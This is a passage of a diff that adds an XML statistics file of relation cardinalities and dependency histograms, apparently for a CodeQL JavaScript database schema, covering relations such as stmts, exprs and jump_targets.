+<v>1</v> +</b> +<b> +<a>2513</a> +<b>2514</b> +<v>1</v> +</b> +<b> +<a>16661</a> +<b>16662</b> +<v>1</v> +</b> +<b> +<a>17601</a> +<b>17602</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>19</a> +<b>20</b> +<v>1</v> +</b> +<b> +<a>25</a> +<b>26</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>9</a> +<b>10</b> +<v>1</v> +</b> +<b> +<a>242</a> +<b>243</b> +<v>1</v> +</b> +<b> +<a>2075</a> +<b>2076</b> +<v>1</v> +</b> +<b> +<a>2322</a> +<b>2323</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15321</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>7887</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3725</v> +</b> +<b> +<a>4</a> +<b>9</b> +<v>2229</v> +</b> +<b> +<a>9</a> +<b>24</b> +<v>102</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21285</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>7707</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>272</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15321</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>7887</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3725</v> +</b> +<b> +<a>4</a> +<b>9</b> +<v>2229</v> +</b> +<b> +<a>9</a> +<b>24</b> +<v>102</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>16315</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>8432</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3126</v> +</b> +<b> +<a>4</a> +<b>22</b> +<v>1391</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>2</v> +</b> +<b> +<a>10</a> +<b>12</b> +<v>2</v> +</b> +<b> +<a>13</a> +<b>22</b> +<v>2</v> +</b> +<b> +<a>27</a> +<b>38</b> +<v>2</v> +</b> +<b> +<a>54</a> +<b>61</b> +<v>2</v> +</b> +<b> +<a>101</a> +<b>212</b> +<v>2</v> +</b> +<b> +<a>356</a> +<b>530</b> +<v>2</v> +</b> +<b> +<a>859</a> +<b>1645</b> +<v>2</v> +</b> +<b> +<a>2513</a> +<b>2519</b> +<v>2</v> +</b> +<b> +<a>3330</a> +<b>7198</b> +<v>2</v> +</b> +<b> +<a>15305</a> +<b>19237</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>14</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>2</v> +</b> +<b> +<a>10</a> +<b>12</b> +<v>2</v> +</b> +<b> +<a>13</a> +<b>22</b> +<v>2</v> +</b> +<b> +<a>27</a> +<b>38</b> +<v>2</v> +</b> +<b> +<a>54</a> +<b>61</b> +<v>2</v> +</b> +<b> +<a>101</a> +<b>212</b> +<v>2</v> +</b> +<b> +<a>356</a> +<b>530</b> +<v>2</v> +</b> +<b> +<a>859</a> +<b>1645</b> +<v>2</v> +</b> +<b> +<a>2513</a> +<b>2519</b> +<v>2</v> +</b> +<b> +<a>3330</a> +<b>7198</b> +<v>2</v> +</b> +<b> +<a>15305</a> +<b>19237</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>2</v> +</b> +<b> +<a>9</a> +<b>10</b> +<v>2</v> +</b> +<b> +<a>12</a> +<b>17</b> +<v>2</v> +</b> +<b> +<a>18</a> +<b>26</b> +<v>2</v> +</b> +<b> +<a>28</a> +<b>31</b> +<v>2</v> +</b> +<b> +<a>37</a> +<b>44</b> +<v>2</v> +</b> +<b> +<a>60</a> +<b>71</b> +<v>2</v> +</b> +<b> +<a>108</a> +<b>196</b> +<v>2</v> +</b> +<b> +<a>395</a> +<b>667</b> +<v>2</v> +</b> +<b> +<a>746</a> +<b>978</b> +<v>2</v> +</b> +<b> +<a>1522</a> +<b>2076</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1085</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>627</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>344</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>322</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>292</v> +</b> +<b> +<a>7</a> +<b>12</b> +<v>260</v> +</b> +<b> +<a>12</a> +<b>45</b> +<v>247</v> +</b> +<b> +<a>45</a> +<b>7788</b> +<v>101</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1903</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1375</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1097</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>631</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>341</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>327</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>292</v> +</b> +<b> +<a>7</a> +<b>12</b> +<v>253</v> +</b> +<b> +<a>12</a> +<b>48</b> +<v>246</v> +</b> +<b> +<a>48</a> +<b>6190</b> +<v>91</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1450</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>939</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>481</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>289</v> +</b> +<b> +<a>6</a> +<b>19</b> +<v>119</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_for_await_of</name> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>forof</k> +<v>1</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_module</name> +<cardinality>21</cardinality> +<columnsizes> +<e> +<k>tl</k> +<v>21</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_es2015_module</name> +<cardinality>21</cardinality> +<columnsizes> +<e> +<k>tl</k> +<v>21</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_closure_module</name> +<cardinality>21</cardinality> +<columnsizes> +<e> +<k>tl</k> +<v>21</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>toplevel_parent_xml_node</name> +<cardinality>43</cardinality> +<columnsizes> +<e> +<k>toplevel</k> +<v>43</v> +</e> +<e> +<k>xmlnode</k> +<v>43</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>toplevel</src> +<trg>xmlnode</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>43</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>xmlnode</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>43</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xml_element_parent_expression</name> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>xmlnode</k> +<v>1</v> +</e> +<e> +<k>expression</k> +<v>1</v> +</e> +<e> +<k>index</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>xmlnode</src> +<trg>expression</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>xmlnode</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>expression</src> +<trg>xmlnode</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>expression</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>xmlnode</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>expression</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_nodejs</name> +<cardinality>12</cardinality> +<columnsizes> +<e> +<k>tl</k> +<v>12</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>stmts</name> +<key>id</key> +<cardinality>1096691</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1096691</v> +</e> +<e> +<k>kind</k> +<v>31</v> +</e> +<e> +<k>parent</k> +<v>412140</v> +</e> +<e> +<k>idx</k> +<v>152947</v> +</e> +<e> +<k>tostring</k> +<v>284956</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1096691</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1096691</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1096691</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1096691</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>2</v> +</b> +<b> +<a>31</a> +<b>42</b> +<v>2</v> +</b> +<b> +<a>61</a> +<b>552</b> +<v>2</v> +</b> +<b> +<a>1118</a> +<b>1137</b> +<v>2</v> +</b> +<b> +<a>1272</a> +<b>1316</b> +<v>2</v> +</b> +<b> +<a>1316</a> +<b>1379</b> +<v>2</v> +</b> +<b> +<a>1471</a> +<b>1570</b> +<v>2</v> +</b> +<b> +<a>1642</a> +<b>2306</b> +<v>2</v> +</b> +<b> +<a>3120</a> +<b>5386</b> +<v>2</v> +</b> +<b> +<a>8674</a> +<b>10150</b> +<v>2</v> +</b> +<b> +<a>16771</a> +<b>48210</b> +<v>2</v> +</b> +<b> +<a>68214</a> +<b>105607</b> +<v>2</v> +</b> +<b> +<a>204994</a> +<b>610341</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>2</v> +</b> +<b> +<a>35</a> +<b>59</b> +<v>2</v> +</b> +<b> +<a>298</a> +<b>424</b> +<v>2</v> +</b> +<b> +<a>738</a> +<b>1157</b> +<v>2</v> +</b> +<b> +<a>1253</a> +<b>1263</b> +<v>2</v> +</b> +<b> +<a>1271</a> +<b>1321</b> +<v>2</v> +</b> +<b> +<a>1495</a> +<b>1568</b> +<v>2</v> +</b> +<b> +<a>1642</a> +<b>2306</b> +<v>2</v> +</b> +<b> +<a>2999</a> +<b>4416</b> +<v>2</v> +</b> +<b> +<a>4734</a> +<b>10123</b> +<v>2</v> +</b> +<b> +<a>48139</a> +<b>48347</b> +<v>2</v> +</b> +<b> +<a>50857</a> +<b>162082</b> +<v>2</v> +</b> +<b> +<a>191077</a> +<b>191078</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>2</v> +</b> +<b> +<a>10</a> +<b>12</b> +<v>2</v> +</b> +<b> +<a>16</a> +<b>22</b> +<v>2</v> +</b> +<b> +<a>28</a> +<b>32</b> +<v>2</v> +</b> +<b> +<a>36</a> +<b>37</b> +<v>2</v> +</b> +<b> +<a>39</a> +<b>51</b> +<v>2</v> +</b> +<b> +<a>54</a> +<b>63</b> +<v>2</v> +</b> +<b> +<a>65</a> +<b>67</b> +<v>2</v> +</b> +<b> +<a>116</a> +<b>118</b> +<v>2</v> +</b> +<b> +<a>122</a> +<b>138</b> +<v>2</v> +</b> +<b> +<a>251</a> +<b>1564</b> +<v>2</v> +</b> +<b> +<a>1967</a> +<b>152946</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>11</b> +<v>2</v> +</b> +<b> +<a>12</a> +<b>17</b> +<v>2</v> +</b> +<b> +<a>88</a> +<b>104</b> +<v>2</v> +</b> +<b> +<a>147</a> +<b>168</b> +<v>2</v> +</b> +<b> +<a>239</a> +<b>296</b> +<v>2</v> +</b> +<b> +<a>356</a> +<b>428</b> +<v>2</v> +</b> +<b> +<a>591</a> +<b>705</b> +<v>2</v> +</b> +<b> +<a>811</a> +<b>829</b> +<v>2</v> +</b> +<b> +<a>1092</a> +<b>2254</b> +<v>2</v> +</b> +<b> +<a>2665</a> +<b>10292</b> +<v>2</v> +</b> +<b> +<a>18023</a> +<b>21916</b> +<v>2</v> +</b> +<b> +<a>43911</a> +<b>180066</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>265890</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>69435</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>25109</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>34966</v> +</b> +<b> +<a>8</a> +<b>152946</b> +<v>16740</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>319546</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>67918</v> +</b> +<b> +<a>3</a> +<b>23</b> +<v>24676</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>265890</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>69435</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>25109</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>34966</v> +</b> +<b> +<a>8</a> +<b>152946</b> +<v>16740</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>275359</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>62818</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>25781</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>34293</v> +</b> +<b> +<a>8</a> +<b>19511</b> +<v>13889</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>149939</v> +</b> +<b> +<a>2</a> +<b>220361</b> +<v>3008</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>149940</v> +</b> +<b> +<a>2</a> +<b>28</b> +<v>3007</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>149939</v> +</b> +<b> +<a>2</a> +<b>220361</b> +<v>3008</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>149939</v> +</b> +<b> +<a>2</a> +<b>88922</b> +<v>3008</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>186537</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>48494</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>24651</v> +</b> +<b> +<a>5</a> +<b>37</b> +<v>21526</v> +</b> +<b> +<a>37</a> +<b>72175</b> +<v>3748</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>284895</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>61</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>195596</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>45562</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>23127</v> +</b> +<b> +<a>5</a> +<b>66340</b> +<v>20671</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>225945</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>33948</v> +</b> +<b> +<a>3</a> +<b>13</b> +<v>21496</v> +</b> +<b> +<a>13</a> +<b>903</b> +<v>3567</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>stmt_containers</name> +<cardinality>1096691</cardinality> +<columnsizes> +<e> +<k>stmt</k> +<v>1096691</v> +</e> +<e> +<k>container</k> +<v>120740</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>stmt</src> +<trg>container</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1096691</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>container</src> +<trg>stmt</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6778</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>35010</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>16178</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>12184</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>9476</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>7569</v> +</b> +<b> +<a>7</a> +<b>9</b> +<v>10084</v> +</b> +<b> +<a>9</a> +<b>13</b> +<v>10057</v> +</b> +<b> +<a>13</a> +<b>27</b> +<v>9196</v> +</b> +<b> +<a>27</a> +<b>152947</b> +<v>4208</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>jump_targets</name> +<cardinality>11791</cardinality> +<columnsizes> +<e> +<k>jump</k> +<v>11791</v> +</e> +<e> +<k>target</k> +<v>4873</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>jump</src> +<trg>target</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11791</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>target</src> +<trg>jump</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2542</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1106</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>505</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>410</v> +</b> +<b> +<a>6</a> +<b>260</b> +<v>310</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>exprs</name> +<key>id</key> +<cardinality>5495305</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>5495305</v> +</e> +<e> +<k>kind</k> +<v>85</v> +</e> +<e> +<k>parent</k> +<v>3130204</v> +</e> +<e> +<k>idx</k> +<v>17698</v> +</e> +<e> +<k>tostring</k> +<v>834491</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5495305</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5495305</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5495305</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5495305</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>4</b> +<v>7</v> +</b> +<b> +<a>4</a> +<b>45</b> +<v>7</v> +</b> +<b> +<a>50</a> +<b>97</b> +<v>7</v> +</b> +<b> +<a>108</a> +<b>458</b> +<v>7</v> +</b> +<b> +<a>503</a> +<b>824</b> +<v>7</v> +</b> +<b> +<a>1135</a> +<b>2497</b> +<v>7</v> +</b> +<b> +<a>2527</a> +<b>5439</b> +<v>7</v> +</b> +<b> +<a>5655</a> +<b>10255</b> +<v>7</v> +</b> +<b> +<a>10789</a> +<b>15893</b> +<v>7</v> +</b> +<b> +<a>17758</a> +<b>42854</b> +<v>7</v> +</b> +<b> +<a>50958</a> +<b>130844</b> +<v>7</v> +</b> +<b> +<a>245084</a> +<b>722374</b> +<v>7</v> +</b> +<b> +<a>1295408</a> +<b>1295409</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>3</b> +<v>7</v> +</b> +<b> +<a>3</a> +<b>45</b> +<v>7</v> +</b> +<b> +<a>47</a> +<b>93</b> +<v>7</v> +</b> +<b> +<a>106</a> +<b>407</b> +<v>7</v> +</b> +<b> +<a>457</a> +<b>809</b> +<v>7</v> +</b> +<b> +<a>1108</a> +<b>2420</b> +<v>7</v> +</b> +<b> +<a>2502</a> +<b>5349</b> +<v>7</v> +</b> +<b> +<a>5453</a> +<b>10133</b> +<v>7</v> +</b> +<b> +<a>10658</a> +<b>15697</b> +<v>7</v> +</b> +<b> +<a>16273</a> +<b>36888</b> +<v>7</v> +</b> +<b> +<a>41849</a> +<b>128642</b> +<v>7</v> +</b> +<b> +<a>199566</a> +<b>722374</b> +<v>7</v> +</b> +<b> +<a>1171898</a> +<b>1171899</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>12</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>11</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>7</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>7</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>3</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>7</v> +</b> +<b> +<a>8</a> +<b>11</b> +<v>6</v> +</b> +<b> +<a>12</a> +<b>18</b> +<v>7</v> +</b> +<b> +<a>20</a> +<b>64</b> +<v>7</v> +</b> +<b> +<a>82</a> +<b>395</b> +<v>7</v> +</b> +<b> +<a>431</a> +<b>13375</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7</v> +</b> +<b> +<a>2</a> +<b>6</b> +<v>7</v> +</b> +<b> +<a>8</a> +<b>37</b> +<v>7</v> +</b> +<b> +<a>38</a> +<b>126</b> +<v>7</v> +</b> +<b> +<a>142</a> +<b>304</b> +<v>7</v> +</b> +<b> +<a>358</a> +<b>721</b> +<v>7</v> +</b> +<b> +<a>811</a> +<b>1485</b> +<v>7</v> +</b> +<b> +<a>1523</a> +<b>2918</b> +<v>7</v> +</b> +<b> +<a>3305</a> +<b>5078</b> +<v>7</v> +</b> +<b> +<a>5422</a> +<b>9940</b> +<v>7</v> +</b> +<b> +<a>10536</a> +<b>40606</b> +<v>7</v> +</b> +<b> +<a>46227</a> +<b>123090</b> +<v>7</v> +</b> +<b> +<a>128754</a> +<b>128755</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1100280</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1876078</v> +</b> +<b> +<a>3</a> +<b>17692</b> +<v>153846</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1300246</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1747609</v> +</b> +<b> +<a>3</a> +<b>8</b> +<v>82349</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1100280</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1876078</v> +</b> +<b> +<a>3</a> +<b>17692</b> +<v>153846</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1108803</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1870864</v> +</b> +<b> +<a>3</a> +<b>17526</b> +<v>150537</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> 